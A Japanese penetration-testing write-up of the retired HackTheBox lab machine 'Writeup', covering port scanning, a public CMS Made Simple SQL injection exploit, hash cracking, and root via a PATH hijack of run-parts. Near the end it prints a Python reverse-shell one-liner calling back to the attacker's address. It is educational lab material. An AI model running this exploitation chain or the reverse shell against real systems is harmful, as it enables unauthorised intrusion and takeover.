All Articles

【Easy/Linux】Writeup Writeup(HackTheBox)

「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。

Hack The Box

今回は、HackTheBoxのリタイアマシン「Writeup」のWriteUpです。

本記事について

本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。

自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。

またすべての発言は所属団体ではなく個人に帰属します。

もくじ

探索

とりあえずいつも通りのポートスキャンから始めます。

# ターゲットマシンのIPをHOSTSに追加して高速スキャン
sudo sed -i 's/^[0-9].*$RHOST/10.10.10.138 $RHOST/g' /etc/hosts
nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
# All ports
nmap -p- $RHOST -Pn -sC -sV -A  | tee nmap_max.txt

80番ポートが開いているようなので確認します。

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

ここで気になるのは以下の部分です。

どうやらユーザエージェントがwriteupにアクセスしないように制御しているようです。

http-robots.txt: 1 disallowed entry 
|_/writeup/

参考:What is a ‘disallowed entry’ when nmap scans through the Robots.txt file? - Stack Overflow

robotsはこんな感じでした。

#              __
#      _(\    |@@|
#     (__/\__ \--/ __
#        \___|----|  |   __
#            \ }{ /\ )_ / _\
#            /\__/\ \__O (__
#           (--/\--)    \__/
#           _)(  )(_
#          `---''---`

# Disallow access to the blog until content is finished.
User-agent: * 
Disallow: /writeup/

とりあえず80番ポートにアクセスして見ると、以下のような表示がされました。

image-20220810234932067

ついでにwriteupのページもなぜか普通に表示されました。

robotsで制限されているのかと思ったものの、特にアクセスの制限はかかっていなさそうです。

image-20220811081451570

中身を見るといくつかのHTBマシンのWriteupが記載されているようです。

しかし、このマシンのWriteupについては書きかけの状態で有益な情報はありませんでした。

また、gobusterで探索をかけようとするとエラーになり、その後しばらくブラウザアクセスもできなくなりました。

どうやらDoSプロテクションの類が動作しているようで、400番台のエラーを監視しているようです。

ここで、Writeupのページですが、以下のようにGETクエリでアクセスする方式でした。

例:http://10.10.10.138/writeup/index.php?page=ypuffy

User取得

恐らくですが、page=にファイル名をセットすることでサーバ内のテキストを取得してきていそうです。

しかし、ここの探索は上手くいきませんでした。

続いて、ページのソースからCMS Made Simpleを使用していることがわかったので、このウールに対するエクスプロイトをいくつか試していきます。

image-20220811105655958

いくつか調べた中で以下のエクスプロイトが見つかりました。

どうやらブラインドSQLインジェクションができるようです。

$ searchsploit -m php/webapps/46635.py

エクスプロイトを実行した結果、ユーザ名とパスワードハッシュが取得できました。

image-20220811110039876

出力されたソルトとパスワードハッシュを$hash:$saltの形式にしてmd5($salt.$pass)でクラックしたところパスワードが取得できました。

$ hashcat -a 0 -m 20 ./hash /usr/share/wordlists/rockyou.txt

このパスワードを使用してSSH接続を行うことで、Userが取得できます。

権限昇格

pspyを仕掛けた状態でfail2banを動作させると以下のタスクの実行が確認されました。

PID=22658  | iptables -w -I f2b-apache-404 1 -s 10.10.14.4 -j REJECT --reject-with icmp-port-unreachable

fail2banはroot権限で動作しているようなので、ここを起点に特権取得ができないかと思い探索を行いましたが、設定ファイルや/etc/fail2ban配下の権限を確認したものの有効な情報は確認できませんでした。

$ cat /etc/fail2ban/jail.local 
[INCLUDES]
before = paths-debian.conf

[DEFAULT]
ignoreip = 127.0.0.1/8
bantime  = 120
maxretry = 10

[sshd]
enabled = true

[apache-404]
enabled  = true
port     = http
filter   = apache-404
logpath  = /var/log/apache2/access.log tail
maxretry = 30

$ cat /etc/fail2ban/filter.d/apache-404.conf 
[INCLUDES]
before = apache-common.conf

[Definition]
failregex = ^<HOST> .* 40[1234]$

ここで、linpeasの出力結果からユーザjrtが様々なグループに属していることを確認しました。

$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

この結果から、いくつか気になるグループに対して所有者がrootであり、かつgroupが検索対象に該当し、書き込みが可能なものをfindコマンドで探索しました。

$ find / -user root -group jkr -ls -writable 2>/dev/null
$ find / -user root -group staff -ls -writable 2>/dev/null
      189      4 drwxrwsr-x   2 root     staff        4096 Jun  3  2018 /var/local
   131445     20 drwx-wsr-x   2 root     staff       20480 Apr 19  2019 /usr/local/bin

また、linpeasの結果からPATHに/usr/local/binが追加されていることがわかります。

image-20220811194949646

しかし、pspyの結果を見ても、ほとんどのコマンドは/usr/bin配下などのモジュールがフルパスで指定されていました。

唯一、SSHログオンした場合のrun-parts --lsbsysinit /etc/update-motd.dのみ、パスの指定なく実行されているようです。

$ sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new

ここで、PATHに/usr/local/binが含まれているため、この中にコマンドを埋め込んだファイルを書き込むことで任意のコマンドを実行できます。

image-20220811200245367

通常であればLinuxの場合は、先頭に書かれたPATHが優先されます。

しかし、なぜか/usr/binがPATHに存在している状況では、/usr/local/binにrun-partsを埋め込んでも実行が優先されませんでした。

色々と確認してみたところ、定期的に実行される以下のタスクが実行されると/usr/local/binに配置したモジュールが削除されるようです。

$ /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1

これが原因で上手く実行されなかったようです。

というわけで、以下のコマンドでrun-partsを書き換え、すぐに他のターミナルからSSH接続を行うことで、rootのシェルを取得することができました。

$ echo "python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'" > /usr/local/sbin/run-parts; chmod +x /usr/local/sbin/run-parts

まとめ

かなり学びの多いマシンだったように思います。

雰囲気で扱っていたgroupやユーザのパーミッション周りについて非常に勉強になりました。